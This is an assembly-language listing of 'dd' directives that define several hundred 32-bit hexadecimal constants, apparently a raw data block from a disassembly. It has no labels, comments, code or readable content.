dd 75061F12h, 0FA7B432Bh, 638A1ECEh, 12DEA8E8h, 0A0F829C4h
dd 4E41C686h, 2C18B06Ah, 122CE1Dh, 8A17DBCh, 0BAF87F5Dh
dd 6E551BB1h, 878A291h, 8CBA0D80h, 0D1660D7Dh, 0C0AD895h
dd 4B19791Bh, 3D3FF1Ch, 33227EB8h, 50A3F6BFh, 0C63247BEh
dd 0F23DE8BAh, 31D97737h, 0C14522ADh, 0DF183858h, 0DFD5428Fh
dd 787BDEE5h, 1284B850h, 0B7B12DE9h, 0C32816AAh, 80641B01h
dd 0E3C11DEBh, 0E951D7D7h, 0E23FD7A7h, 87B08569h, 5A6A0Bh
dd 6E7858FAh, 4F68FC3Dh, 0A167FAD8h, 0D8BB59A5h, 0C4BB36Eh
dd 30B1C9FAh, 9003F14h, 0E5815862h, 9FC79E0h, 0B5E94565h
dd 32B50350h, 0C581A8CDh, 5C186F0Dh, 0BE04B07Bh, 2563D559h
dd 0B03CD4EFh, 6354850Ch, 0CBF6444Bh, 756BE90Bh, 0CEC4B82Eh
dd 0F3E190CCh, 0DC58887Fh, 0B0FEB317h, 90E8B252h, 800291FEh
dd 0D42876F2h, 0EC78D05Ah, 0CF12F428h, 0B92A1641h, 7521582h
dd 0D85A8B85h, 17BA7F28h, 1344616Fh, 0C0B71C05h, 94066EF9h
dd 9D4F1DE9h, 41821DA4h, 50006E3Bh, 0C58008E5h, 9A63BD1Dh
dd 0E949CBB0h, 0E759C868h, 2D4ABDBEh, 2BDBC24Ch, 0C15D53A1h
dd 7EAE6EE9h, 2779D0B3h, 58C84273h, 0F7828076h, 0F967550h
dd 63F61F0Bh, 0FC08B2E3h, 167425B0h, 96CF31C3h, 3B681609h
dd 8791E30Ch, 4C7D80E9h, 2E50820h, 67B621E7h, 3940DDF7h
dd 492DDE1Fh, 7051C298h, 6AB09F0Ah, 0F1881F8Bh, 5D451211h
dd 3B24EF0Bh, 8F003595h, 27E64978h, 62E00225h, 0BCE907ECh
dd 0F92DFBDCh, 0E1F740CBh, 695EA468h, 0A060EB8Dh, 0E9D44181h
dd 0C0983BE5h, 0B3594ACDh, 0B7EAD3A0h, 0E1445AEEh, 0D31E0338h
dd 909DFAC8h, 75C5042Ah, 0C45F0E93h, 0D695B98Eh, 5BF8ADC2h
dd 54E7A7B5h, 772691ACh, 7D7CADh, 8D3FA005h, 0D9023562h
dd 0E94B9545h, 96615828h, 0BF007A65h, 379B1807h, 5BD80907h
dd 4E60F80Dh, 0BE0C112h, 176C6808h, 3BE9A9E6h, 7CB2F807h
dd 4C219E73h, 909C04Bh, 0A9D53E6Eh, 5024810Eh, 0C96481Ch
dd 0E60F3001h, 7D15D2B8h, 0EB4CA29h, 53480FD3h, 840AAA9h
dd 125F975Ah, 58FE8B83h, 0E6F19D02h, 555F8DC2h, 348B3171h
dd 0A1836EAEh, 0ABF910BEh, 0C263402Fh, 10E44F5h, 203C249Dh
dd 2941D081h, 6814F638h, 4000B7DAh, 0B65CF725h, 4F00352Ch
dd 56F221Ah, 4B1E5486h, 0F8E31255h, 0F32113F5h, 0EC7264EBh
dd 0F402B7A8h, 5A9F76FEh, 1D2C7860h, 0DC39452Dh, 7E170094h
dd 0E953343Bh, 1607EF27h, 0CB5550A9h, 6A7C9541h, 394A6841h
dd 531A33Bh, 175D44CCh, 2E1EDD90h, 41322D1Fh, 0FBD08DEh
dd 61ABA2A0h, 4859C889h, 0F6F21F1h, 0E7EC47D7h, 43DF726h
dd 1591D080h, 4176C59Ah, 81DFF5EAh, 489ADA09h, 2E61EC68h
dd 17D4C90h, 58844835h, 0D568D929h, 63346A70h, 0B2EB0F25h
dd 0A05FCA84h, 5D066489h, 73B0EE98h, 98957597h, 99617D0Dh
dd 763A4834h, 90E12E7Ah, 7C13A0h, 0F56C9942h, 0CD7A092Ch
dd 0DFFD912Fh, 6FFCA629h, 4685FA12h, 8874ED04h, 756B61BBh
dd 96540C0Eh, 52E4489h, 0F112F028h, 98182DD1h, 0DFC29581h
dd 428703FAh, 5F0502F5h, 542A201h, 24800BC5h, 2A4C53A4h
dd 0E7CB17E9h, 123AD7BFh, 900D785Dh, 4A549D5Bh, 5BA0011Fh
dd 858CB85Dh, 8FC961A2h, 4C29D648h, 283159D6h, 0E8D5EF97h
dd 1926C4Dh, 800506CFh, 9FCF06C7h, 4BF0B746h, 56315A2Fh
dd 1F415A4Eh, 468630Eh, 7F6D6857h, 0E9C231A3h, 0D174E8E0h
dd 0A2BF8F64h, 18E248AFh, 0BE225D25h, 4C6B0963h, 5AF74E29h
dd 5B5A7877h, 0B7EB49FEh, 0D97DA8E2h, 5471EB2Fh, 34C96805h
dd 9A848FEDh, 0CB810038h, 1F746242h, 0E5E3C11Fh, 0F80BCEDAh
dd 9C96F4Bh, 7FCF42FAh, 63C981CBh, 0DD0F6420h, 0EE2C5B4Ah
dd 48FBE893h, 793FFD72h
dd 0EB7BE292h, 427D3A0h, 0E9707F40h, 4A73D25Eh, 0D7AC6BF7h
dd 0A4ABD564h, 681D66F5h, 0CD305D67h, 0D6D10CE9h, 49CEFA8Eh
dd 23E98C61h, 0E22A64E5h, 17F065Ch, 4684F281h, 88284FB2h
dd 0D3276812h, 33994BD2h, 5C72AA3h, 0F523EBE2h, 0E00B12E5h
dd 78BBF513h, 78F6E5D9h, 9369C4B9h, 165FD5CAh, 641CEF09h
dd 93342828h, 61EE3AD2h, 0A7D64B4Fh, 98A5016h, 7BAE44F2h
dd 2A8B46DFh, 0C7CB56E9h, 0A2545511h, 3DB23B8Fh, 2AC27680h
dd 176240Fh, 8888B90h, 5BD85AD7h, 89042EF6h, 13BB2EEDh
dd 4C641F10h, 0E695DDE3h, 0B779F00Ah, 0C02EE15h, 0C2102708h
dd 77631238h, 820634Ch, 30E4B056h, 0C56509ABh, 0EC74B269h
dd 713E295Ch, 0FC13C1F4h, 0CFF745Eh, 0BB74D06Ch, 18268305h
dd 0D4004B45h, 8B3C74EBh, 0F70CC235h, 4055FC68h, 2E967726h
dd 401B688h, 0BED6D5E9h, 76DA0149h, 42E787E9h, 6025C75Ch
dd 0DF0801CFh, 0BB533B00h, 1F72265Fh, 2158C343h, 0EFF5731Ah
dd 78448C4h, 8B929FE2h, 0E82924D5h, 4BCFB743h, 4A90FDC0h
dd 0FEDEC5FFh, 0A290E92Dh, 94680E59h, 35290Eh, 3911F66Dh
dd 89671398h, 0FFCE0BF7h, 825907C2h, 0C0EDA7BDh, 16C4BF23h
dd 0E9757B74h, 0F558C93Ch, 36BEED90h, 81422700h, 0CD02EACAh
dd 9909051h, 55F16EE9h, 9F03E7D8h, 0F7155642h, 2362EDBh
dd 17D224A3h, 81F75EA1h, 3E0F59A5h, 19E5E451h, 910E217h
dd 15C28645h, 5FC97C1h, 21AC8h, 0D4BE567Ah, 2942A649h
dd 4C5EF02Eh, 280A0514h, 259A152Dh, 23155D95h, 0E966CDA1h
dd 5BA4CB26h, 0C4091879h, 0FD298702h, 0B1163128h, 82E87A3Ah
dd 943DEA7Dh, 72256FAEh, 517D8C3Ch, 0F68AB109h, 1CD876D9h
dd 0F0CBA0E4h, 0F9627DC7h, 0A985AC89h, 2F5EC928h, 185E494h
dd 98BF3AFh, 0F2EEE9F5h, 4DC5005Ch, 5EA1203h, 9527591Ch
dd 81485878h, 10A55D07h, 0D72FB660h, 0E558C1FEh, 63F51F5Eh
dd 4507C507h, 306EDA3h, 1BDCE850h, 0C2AC011Ch, 517F5C61h
dd 3BA73C74h, 39BDD180h, 2D6E8A06h, 40FCB350h, 745DE104h
dd 86A2875Bh, 0E6483DC9h, 0BD111359h, 85C4D9E8h, 0DD290741h
dd 0FEF2E7F1h, 2877797Eh, 0DF4C644Fh, 9B374EF1h, 1DAD583Eh
dd 3A82C28Fh, 0FFEC4968h, 8A9E5CBDh, 3ACDA01h, 7D53D85h
dd 4D47ADB5h, 5FF6023Bh, 7D28B341h, 0C9555801h, 0E60C8F36h
dd 29CE02D3h, 9FF4C5F2h, 2DC2165Bh, 85E92E71h, 10F35E74h
dd 5510A7C3h, 0EEC1032Dh, 0C5526805h, 0A9515822h, 0B08F4B7h
dd 1CD50710h, 47B1076Ch, 3246F180h, 6155E2EBh, 176F3973h
dd 6DBC61B9h, 0DAA07CDAh, 25805F19h, 38FA1772h, 3BA9DEA0h
dd 87481D06h, 90064FF9h, 0CBAB09B8h, 64DDADFAh, 0BA53D5Fh
dd 88B260Bh, 0F008DDD3h, 2D4EA64Ah, 0DBD989FDh, 15E90F35h
dd 3FC127D9h, 101818ADh, 55F61712h, 0B51F1C7Ch, 6B49F731h
dd 3296771Ah, 0D08295ACh, 2D46E7D7h, 57553AF5h, 0E943887Ch
dd 2CBBA58Bh, 0BF0B575Bh, 875529EBh, 0DF24D73Fh, 0F32B8FAh
dd 0D22A94F2h, 59E963F0h, 4097B77Ch, 2D13C549h, 0FF95292Eh
dd 0C0BD99Ah, 96F70910h, 2B55180h, 8DC580E3h, 6771EE30h
dd 0FA3ED09Eh, 172CB714h, 3521308Ah, 25127B68h, 72804B43h
dd 1B9967B2h, 0DDCB893Ch, 0FE0E12C9h, 0C7EB0D40h, 0BA8DC897h
dd 2384B5CFh, 8FD110E3h, 5D974955h, 0BFC4AB9Ah, 0F0C5405Fh
dd 52991FBBh, 0AF72572Bh, 0C67750Bh, 95EB86FDh, 0E3080957h
dd 0C3D8969h, 8325E03Bh, 0CB7E74Eh, 572EA958h, 0E368504Eh
dd 880D364Dh, 59CF4202h, 0C9B7D1F5h, 0B982E912h, 71F7D943h
dd 0E9CC692Dh, 8C0A72Ch, 0D40289ACh, 0FD798212h, 2708CAA8h
dd 7200047Eh, 0E96A056Dh, 202841E6h, 2516F6B8h, 0C6AD416Eh
dd 0E5126500h, 36E94D23h, 0BE681960h, 7ADD43F8h, 972F7A3Eh
dd 54E9CED1h, 0E65DFAA2h, 0CF8825DEh, 1B62595Ch, 28CE8EAh
dd 2C260B5Bh, 0B8DD5C29h, 0B4BAE93Bh, 0C6163C99h, 89C9AC01h
dd 0C01AF559h, 0DC4A7C74h, 80070710h, 9259A0EFh, 0A87FF2FCh
dd 55278D97h, 8A29D007h, 2F8108Fh, 0B05FCA25h, 0DA07D51Bh
dd 60FF1948h, 5EF5E909h, 752D9682h, 4F68020Ah, 0D193CD54h
dd 0E26F7CE1h, 7084A2F5h, 0D8882543h, 0CBEA93F0h, 0E38C8BEFh
dd 0AC98DF91h, 0AD803F22h, 42680657h, 6E21581Dh, 0A660D641h
dd 2759B136h, 0FAC3AFC1h, 6C62665Fh, 53886EBBh, 5167490h
dd 90EB673Ah, 0F6571CA3h, 54296E13h, 0C130064h, 5A24858Ah
dd 214A0225h, 1D4031EDh, 0D69F413Bh, 3433C205h, 7C69C107h
dd 958F6948h, 0F681DF88h, 0FA27507Bh, 0FEF289F0h, 25B9F59h
dd 0E632EA24h, 0FB6800EFh, 52578043h, 0DAF7174Ch, 6B85FA01h
dd 0F3F8117Bh, 0A1B0419h, 0E107E96Dh, 0F0B83F17h, 0D1F9EBB4h
dd 0ED1AA716h, 0FAB624A6h, 0B58DAF17h, 0FEF8F2F0h, 303D13C2h
dd 0EB9022D0h, 5B5A0470h, 0D321ED29h, 40D6A56Bh, 0AC6D3798h
dd 0FB296905h, 805B850h, 54E10BE9h, 3D513FE8h, 9E121BECh
dd 81E04CBEh, 0C12BD6Ch, 0AE840B84h, 565D0702h, 0C2535751h
dd 2F1BD508h, 0B8012952h, 89B392C3h, 486059CEh, 69125E9h
dd 673D8148h, 7C32D52Dh, 72A120F0h, 406E24D3h, 0DFA02795h
dd 9D1F27EEh, 7D203890h, 29B5A0C8h, 0BFE3B11Ch, 210B5F73h
dd 8934ACF2h, 32160D26h, 0A559DD09h, 13910408h, 0B4B6F001h
dd 5D4E4116h, 6F036801h, 0BA1507EDh, 214A45E6h, 0C95D5Ah
dd 14D5CE81h, 9562EB45h, 0A708AA04h, 47CC807Dh, 42170759h
dd 34AB89E9h, 6082AFE8h, 0AC05008Dh, 0C2FB612h, 97047D2Dh
dd 9F61FA5Fh, 7F116BE5h, 0B7F6031Ah, 5E0F5272h, 3BCC82E8h
dd 0F9740E37h, 76314A07h, 9DF2F7C6h, 29729955h, 1828D165h
dd 868978ADh, 7B85263Bh, 76695C3h, 82540620h, 0B4855EDh
dd 0BA046852h, 5A21EC78h, 334D41A8h, 0A7893ACAh, 2D2CD4D6h
dd 0C2C9253Dh, 8F767706h, 394FC5EFh, 653088h, 8157130Fh
dd 48760DE5h, 59A0C4Ch, 0F749F359h, 836525FAh, 9F2FCD0Fh
dd 0F925DFC5h, 5F0FBEDh, 0AD5F5E5Eh, 42B3C8F7h, 968BC86Ah
dd 7C5AA9DCh, 972688FAh, 127AA06Ch, 0AE69B11Fh, 0C4ACC594h
dd 0FEDBCFB0h, 0DC938F82h, 0F55A8DC1h, 31305117h, 7D4E1779h
dd 0DE220319h, 0E9A88573h, 9EBD8DC2h, 3D3B09EBh, 61798807h
dd 159CE9C1h, 3B16172Dh, 8916B263h, 5A027CF7h, 6FA29161h
dd 0F3CD3731h, 723EF805h, 6FD86E14h, 8AE68E6h, 3723E905h
dd 134D2EEAh, 0F04109E9h, 0CB674FBDh, 0CEF5FA80h, 0E968CC7Bh
dd 50832AE7h, 7A10B151h, 5BB92C81h, 6EEC9F14h, 1B56241Fh
dd 6C202CBAh, 318F3A12h, 7F027202h, 700AD7DDh, 60082097h
dd 41D91E5Ah, 0E9243365h, 0B1A79496h, 0BEF4569Ch, 2E14B278h
dd 0C0CB7E40h, 0DEFC5360h, 70083790h, 7313518h, 836972E6h
dd 1C41CD29h, 141CA008h, 0EFDAE924h, 464E2D81h, 20E89164h
dd 0DA29D62h, 185176ACh, 800BB501h, 1C88AAF5h, 661864B6h
dd 98472AF0h, 25C27D57h, 3F482FB0h, 679F6BA8h, 124A245Ah
dd 8F638261h, 57D28EFEh, 2830FD6Dh, 0A1B715B1h, 0D968CED1h
dd 0E75D5C27h, 0CD7DA50Ah, 0A6E98A68h, 8EE0B1F9h, 8B723BF6h
dd 0C69610D2h, 5EFDC482h, 5E3A0B60h, 0FA77E6FFh, 2F52B5BDh
dd 347EC2EDh, 78FB5816h, 0A334E997h, 921A2AB3h, 0AD38A46Bh
dd 66258DACh, 50BB2657h, 7ABBF423h, 0ED4BFC4Ah, 0CDB91F7Bh
dd 6F1EE7C7h, 8EDD46F7h
dd 0E4E6BDCAh, 58050C33h, 4A35A51Ch, 9EB9C180h, 16B8047Dh
dd 89FC41E9h, 2999D111h, 0C0E202DEh, 407F4947h, 37C7009h
dd 0D2F72542h, 0E8B47268h, 0ED97DFB0h, 0EC5099EFh, 0BA431C5h
dd 0EABDA6C0h, 0BF71A45Ah, 8B390AFCh, 5D8D22D3h, 0C1DF2909h
dd 0BBDB01F6h, 9DBAADFDh, 147B3866h, 0B7E84893h, 0C5AE8858h
dd 0E85AEB2Dh, 0EC0F9530h, 0FD760DF2h, 3F6E8213h, 0C13AE9A5h
dd 11A50AC2h, 4C1123F0h, 58158197h, 5B13E54Eh, 9204BC3Fh
dd 0A1304AB1h, 193900A1h, 13E7811Dh, 0E4B3C7Bh, 0F45E4AACh
dd 7F1E73D0h, 7EC95DC1h, 2DB727F1h, 0BB921EA4h, 3B0F6033h
dd 8131B6FEh, 31F367C1h, 47FBF0FDh, 832C62BAh, 0F88398C3h
dd 5D3F299h, 0A752705Eh, 132EEC65h, 0DDBFCB2Ah, 95AD41F8h
dd 0AD1A89D3h, 5840F72Dh, 3461DD68h, 0FEF6B2F3h, 9D58AD4Ch
dd 0A68A6FDCh, 0A00367C0h, 0D90DBE21h, 0FB04DFEDh, 8485E401h
dd 67709335h, 1508042Fh, 0BAF0893Eh, 652C6FA8h, 17D19741h
dd 4DC0AE27h, 91378C68h, 3C7ACEEh, 4FCD155Ah, 66EE6E05h
dd 0DB024112h, 0DFE708ECh, 860C1F52h, 0C726031h, 1345129Ch
dd 40B4BB78h, 6A7D0547h, 0BECA0991h, 2BF4ED8h, 54B81C25h
dd 0C35DD7F7h, 48B4F0EFh, 0ED094F8Ch, 0AB267DC0h, 5D279BFDh
dd 6AA61C45h, 0F16CC427h, 0D2485F9h, 425D60EEh, 32C634C1h
dd 827F529Dh, 0AA515708h, 5540FA13h, 3D4678BBh, 4B8DF64Dh
dd 9DE325h, 0DDC38006h, 39885266h, 0D39C53DAh, 5178AFF6h
dd 97700820h, 92ABE1A2h, 0D0DA2902h, 0D765209Bh, 58E2881Ch
dd 0E68714C9h, 14DE9FEBh, 0FD5AAEA4h, 0E909A667h, 0B8C52336h
dd 6021B0B5h, 5FB0E35h, 682125A1h, 3B1E2869h, 3BAF185h
dd 57710AF2h, 8ED1508Fh, 0D90A8A4h, 50C59FB6h, 99BF6EBh
dd 7505E955h, 0CB5E1D04h, 0EEF37F80h, 7DFBEE75h, 0B2485968h
dd 0C613B681h, 320E2011h, 2C863004h, 19F891E9h, 475B309h
dd 0F88B802h, 0D84E19D7h, 0B763DBF4h, 77A88A74h, 0D0C3B209h
dd 584B0B34h, 0B657982Fh, 67BD5EA8h, 11D6A5DEh, 3F31C5C4h
dd 281D359Fh, 0B8317460h, 2597FED1h, 0B465FC2Bh, 7980B9EEh
dd 950E9200h, 0A5E9D001h, 956E9AC4h, 5B3684F7h, 8BDDC2EEh
dd 2F70C061h, 0AED3DC0Dh, 65020020h, 0C248E4C3h, 80010A63h
dd 4A21A1E7h, 9F3240CAh, 8345816Bh, 6D9155BAh, 0A5EBE102h
dd 0DC0E8C2Ah, 0F64CC262h, 108443D5h, 4A44F024h, 854C41BFh
dd 3957AB6Eh, 7459050Eh, 81AF8EEEh, 2AE6301Bh, 137AE3DDh
dd 896688FCh, 0BF0943B2h, 0F4664342h, 47D008Bh, 83E977AEh
dd 44AE4A4Bh, 54080h, 3B2021BAh, 97897C98h, 0E94EB596h
dd 9B5845FAh, 6250BF56h, 45083093h, 0BCF2AD7h, 3EAC176h
dd 1313C05Fh, 4B6A253Ch, 6BCAA1FDh, 0C924421h, 0CE5AFBEBh
dd 0DA445F0Ch, 0E6B42FF9h, 0A80D4BE9h, 0A4A1585Ah, 3101BF05h
dd 7B4BA6BEh, 2CA4955h, 0C06A0688h, 0CEC1517Fh, 5A22804Bh
dd 0CB858F64h, 0E8D55707h, 5F0304BFh, 0C7AF760Fh, 59FAD115h
dd 0A6E13E69h, 0B1FAF82Eh, 21F56858h, 0A6F9F5C2h, 83EFE9C1h
dd 56A774BCh, 5881ABDDh, 222D07B8h, 5174627Eh, 0C9B08C4Eh
dd 877EF250h, 2FB6E984h, 964156FDh, 4A3AA83Fh, 0C50C16A0h
dd 84C80987h, 2562C09Fh, 0D214398Ch, 24372D17h, 0CD0B0D51h
dd 0B9070031h, 4F5FD508h, 3A52B9C5h, 0D52426C8h, 617984ADh
dd 0A09756FBh, 701DC6D4h, 0EF81235Dh, 3501E327h, 29C1F040h
dd 0AF734B67h, 16083710h, 81BB015Fh, 6B88A069h, 81DE9CD3h
dd 0F5FD720Dh, 7D6AF71h, 387D095Ch, 0C00D388Fh, 3ECB81DFh
dd 7776DC1Eh, 8096F350h, 5D87683Eh, 0B69160Ah, 0F92EDD89h
dd 0DD8B271Fh, 646230B9h, 0D9BD33F5h, 0C2946274h, 952C9455h
dd 5C14B959h, 8B2D9CECh, 45BF803h, 17621E44h, 0D3D98052h
dd 653EC056h, 0E110DBE9h, 0DE3E2E84h, 0BE4F8A5h, 0A265D2Ah
dd 8088DCAh, 0B09309EDh, 220933D2h, 5F4FE174h, 80D5C62h
dd 1AEB2E1Ch, 0D0520C29h, 437B24C1h, 8D422990h, 0E0C10058h
dd 74904004h, 0B77FA57Dh, 2F0C7390h, 0C36C826h, 0C1022E18h
dd 8E20231h, 8B5787E9h, 0F52E2935h, 82A0066Dh, 491ECA09h
dd 0A3040065h, 2D466C57h, 0CE8553E9h, 0BB768531h, 4111DBF0h
dd 19C83AEEh, 17F490AAh, 12DFF723h, 0E9A8F05Bh, 6675682Fh
dd 63CC20AFh, 2BA709Fh, 3F392678h, 0E802C829h, 680A8C05h
dd 7ED96916h, 0E100BBDBh, 461008B8h, 3D30EDD1h, 8B84BD44h
dd 31F8AB56h, 7C1FEE5Ah, 1CCA588Dh, 0C31DF77Ah, 0D79CE9h
dd 7DF00D2Ah, 71353865h, 2C06507Ch, 7967D225h, 7E2B27D4h
dd 19A076E4h, 0F01925F2h, 0BE604739h, 0A2183C30h, 5980C086h
dd 9AFE5BDCh, 723322C6h, 6BEEB488h, 0D6209ED2h, 7A804810h
dd 0EA8AF916h, 0E47D2B31h, 2D72907Ah, 700B0582h, 0E42C8B29h
dd 324521BEh, 0F40B6A4Ah, 15CAAD4h, 0AC2E9201h, 813B294Ah
dd 0FE13DD62h, 6850CCF1h, 8C324EE2h, 530244FFh, 0D7E96739h
dd 40A4D4D4h, 0B422E80h, 0BF133E98h, 0C21C743Fh, 0DD802E28h
dd 880B7CAAh, 0A4EAE916h, 65AE0168h, 0D3B0BCAEh, 518557C0h
dd 0FFFE4AEEh, 0C80B3075h, 0E76A683Eh, 5F4414A9h, 7700D47Ch
dd 0E92E470Ah, 0EACD11B4h, 0E482FA21h, 42D95927h, 813F2F7Fh
dd 0F712B87Fh, 4E05128Eh, 3C146C39h, 6041C01Ah, 3A812C1Fh
dd 0A3A43AE2h, 40C200EFh, 0E9E1CDF2h, 0F261152Ah, 0A520629Ah
dd 685D1EBEh, 9186596h, 0BD602155h, 0FABFE990h, 27077570h
dd 0CECCD739h, 0FC05CD27h, 60805858h, 0D302F582h, 5A097CA9h
dd 30A70888h, 4300252Dh, 0E9D30D87h, 9375F705h, 4952FEC6h
dd 71D05A57h, 0CF645069h, 0DBCB9F3Dh, 70C27B0h, 0A7EC034Fh
dd 0A4EDC11Dh, 7115048Ch, 0F7FCC0DBh, 0FC2C116Fh, 777AC638h
dd 37E888C0h, 66E9C00Ch, 0BC15DE5h, 347B100Dh, 84E62D5h
dd 72EB2208h, 697B9769h, 84C11B6Ah, 0A23F080Ah, 0ACE90BF1h
dd 0F0244422h, 327E5F3Fh, 58F70960h, 113B0BB5h, 5C85B04Eh
dd 0BBE116E8h, 43F534D9h, 0D03A77FAh, 3E1223C0h, 3FBAB15Ch
dd 0F87B05CEh, 9A824E46h, 2FE27A61h, 18A4C912h, 0BDE9C0E4h
dd 0D095F129h, 28690427h, 0BEF73B26h, 2095060Fh, 0AE353AD5h
dd 2CDC026Ah, 0D9E9C201h, 0AC79CB50h, 9226EA78h, 7549A8CEh
dd 0CE4BBBC3h, 58C70AAEh, 0D183EDBh, 0E5F092B6h, 0BE05AC9Ah
dd 494471A7h, 394CAEF8h, 0EC13A334h, 0F9852CA7h, 0F504838Bh
dd 5509864Ch, 0E43EBCE9h, 76825BBh, 8AC2AFFEh, 84DE7953h
dd 0FDFEF059h, 95FB9371h, 0D56DEA0Ch, 0B419F21Ch, 0C58431D9h
dd 0B31334BFh, 29603B41h, 8E37F5F4h, 98D5282Fh, 1DB450E6h
dd 81E4C07Eh, 0E97AB353h, 28E67A55h, 0D9E2F114h, 9B7FA681h
dd 25C032B2h, 0B7F6780Bh, 0F725B36Dh, 0C1E95821h, 0B7252A08h
dd 96F112EEh, 5CF2DAAEh, 583E6754h, 0FD252A9Ch, 0BD2ED495h
dd 0EC56DC96h, 40452EB0h, 96FA5F9Dh, 290CDB64h, 427881AFh
dd 0F3FC3F0Eh, 833258B2h, 310CC5Bh, 435AC579h, 82D96266h
dd 422E04h, 552D61FAh, 5A5B1D50h, 550F0781h, 0B54A5430h
dd 36D15E63h, 9532202Ah, 65B05300h, 78685755h, 439B1F03h
dd 0EAAA97E9h, 832DF8C9h, 105FFE4Eh, 3834F812h, 0C3DAF2AFh
dd 824CED80h, 30F6E1E8h, 1000A62Eh, 934FC8E5h, 0E42F5EBAh
dd 68C60193h, 0A33E395Bh, 2B4B0B34h, 218DC0D4h, 2F85023Ch
dd 0FED37CE9h, 32064489h
dd 45BA10BBh, 9A21C468h, 71AE003h, 230C0443h, 0F1F68FD2h
dd 1C46ED8h, 3D0CB108h, 4F6FF8CAh, 0C94A76ADh, 3CFB2E1Fh
dd 0F94AF647h, 0C8488BFh, 38BF6E4Bh, 0A7D75954h, 621CF5A4h
dd 73BAF775h, 0DB28B25Fh, 5BBCA9Fh, 1453474h, 2C61ABF5h
dd 7F72ED58h, 0D7AAB317h, 859FA2A2h, 56793977h, 8F8AA1F1h
dd 0A468875Dh, 1934BEh, 0AA1D433Bh, 42504A63h, 385FB3D6h
dd 5BD95CCBh, 3AEB2A5Ch, 0BB543530h, 0FB4B95EBh, 68C4D0E7h
dd 0C36EE65h, 5EFD31DEh, 0DC934BA6h, 0FE4EC2E6h, 2AB4DDBFh
dd 0A8D6BCB2h, 0B868820Fh, 0B52CA016h, 0AEA809Bh, 2E2CE9F6h
dd 0AE5FBCABh, 1B012413h, 35D12159h, 22057F68h, 0BA4F7FACh
dd 7F647212h, 932FA8AFh, 5227A1B8h, 0E916BE6Ch, 4B8CD8FBh
dd 74597901h, 73D6BD63h, 10250C68h, 8ACA88CEh, 0A6FC517Dh
dd 6F27372Bh, 0F33D4686h, 0BE8BD89Ch, 2D767301h, 0BBE772F2h
dd 0F60E6B19h, 490DA48Bh, 43C79061h, 9DB1ACB2h, 57912AC4h
dd 8E6B933Dh, 8A267E44h, 7E6B2875h, 83293546h, 445FCDCAh
dd 7DA18FB8h, 8329544Eh, 2A25E2AFh, 0C5437C59h, 63FEBD3Ch
dd 279ED11h, 0F03B0538h, 84D5B550h, 2FC44D17h, 0F7957D03h
dd 0C1AF9FD0h, 419D8D03h, 0CE45A52Ah, 92145657h, 6A39A1DFh
dd 0E1C9F2B1h, 1D88F420h, 1ED5F6DDh, 865901EBh, 0CBDA30D3h
dd 0DB7A097Eh, 501892F1h, 0DD3D62A6h, 0BCC95540h, 0D9E525AEh
dd 0F86E9B9Dh, 16BDD0C8h, 2F57CC88h, 443995C7h, 6A4C97F9h
dd 0BEB3209Dh, 3FB2CDC8h, 0AB4BE801h, 29E96538h, 0E4DE8211h
dd 80D0BB50h, 14B90CE2h, 6355812h, 2DD6B87Fh, 96DDA0B3h
dd 168FDF98h, 7628EDC7h, 34B4EF5Bh, 35D2DE9h, 460A6EC8h
dd 423E2FEDh, 2620904Ch, 192584Dh, 46B83A15h, 8420D501h
dd 1BE924EEh, 2F5CA759h, 2410163Ch, 35B8D921h, 0B5685E00h
dd 65D11554h, 0F5FEEB25h, 996029BCh, 7CF78159h, 12F4F1Ch
dd 4C63924Eh, 89A46005h, 3688D2B4h, 0DD202D4Eh, 0BD0A2ECAh
dd 8934647Eh, 84AF9332h, 0A13BA95Bh, 207CC068h, 9F868ECBh
dd 0E60189FBh, 67C07647h, 0EC89EEC1h, 8359C505h, 1358D188h
dd 4B0FF857h, 97FE93D5h, 45ADBEF5h, 13B27AB5h, 0B134710h
dd 0D967AF68h, 42C2CD1h, 0AAD942E6h, 563D09A9h, 0D498B27h
dd 5007C219h, 30345DB1h, 0D567508Bh, 92BD705Bh, 24420286h
dd 8259EF2h, 0A57527A8h, 4EAAF68Eh, 3AE4D10Ch, 5AE7B32Ah
dd 0AFA264FBh, 0EFE403FCh, 0E22FB97Dh, 9B2F10E8h, 0AEDDFE4Ah
dd 0F028C1F9h, 5098B102h, 9FFEDB0h, 1B9106EAh, 96C2BDF5h
dd 0F58EFB7Eh, 5521E6DDh, 13BC090Ch, 748B7198h, 0C1DDA38Bh
dd 0F14D73F6h, 3FCAB06Eh, 0BBC03E54h, 0D616205Ch, 19C538FFh
dd 476B6500h, 56A686BDh, 0A42B522h, 0DC89D0DEh, 0EFCED47Fh
dd 3BF0C96Bh, 4C315A25h, 13E89FABh, 5F8ADF06h, 406CFEC5h
dd 0D0CB05B1h, 82E1C0E9h, 0FE555486h, 79FF523Ch, 30E14D22h
dd 7413E2Ch, 0C730E47Eh, 0F26DD709h, 0A0677E2Ah, 0BE560508h
dd 0EF381155h, 598068C0h, 0E908176Bh, 0E1BAB185h, 0CA616B5Ah
dd 0F7B581B2h, 8C9AAA98h, 9531FB44h, 7EFE15D8h, 0EF62B896h
dd 89BB05BDh, 0A6B0E8A0h, 159C7B7h, 2683AB5h, 0B6E54C51h
dd 0F2E96A13h, 0F1128257h, 73618ABEh, 2FABE55Eh, 35AE4AC1h
dd 0B34ACCEh, 0F9794868h, 93E4A48h, 0D95C3E3Dh, 0FEF2B6CFh
dd 9984BD4Fh, 0FC7E0CAEh, 6D68B012h, 3E32AB6Ah, 3C16587Dh
dd 0C261F96Fh, 7DFEF8D8h, 9820A5CEh, 6AB1EAA3h, 21C020B5h
dd 0F4B4B16Ah, 64CC3BCCh, 12638014h, 0FFD38283h, 835A9B04h
dd 0E0479D3h, 0AD0E99Dh, 19D335ACh, 2AAD3295h, 0EE586DE3h
dd 682F470Bh, 0A72002D0h, 0B529031h, 2B143F4Ah, 0DF510955h
dd 86A7DDD3h, 20CE01CFh, 5C3EA2BBh, 2F9A0553h, 1FB7984h
dd 0FA1E0293h, 1C77200Fh, 13B9B9C3h, 900DFB5Ch, 4C7C32E1h
dd 0D2161687h, 68D53CA3h, 0DC782525h, 8F44CFE3h, 0E15F306h
dd 69FF5A4Eh, 0F611575Bh, 7272B66h, 8102B4A4h, 28E1DFCDh
dd 0C57307Dh, 0B706AD03h, 2E64DE9h, 0A05C323h, 0F3763C92h
dd 66BF08A0h, 0E9560841h, 9434E530h, 9220F8AAh, 75EAFA02h
dd 77B16AB1h, 30C44D88h, 66535262h, 4D09681Dh, 0C96DB231h
dd 0F9D26C3Ch, 1F8512AFh, 1DEC7EDDh, 6DA097C3h, 2A7A4985h
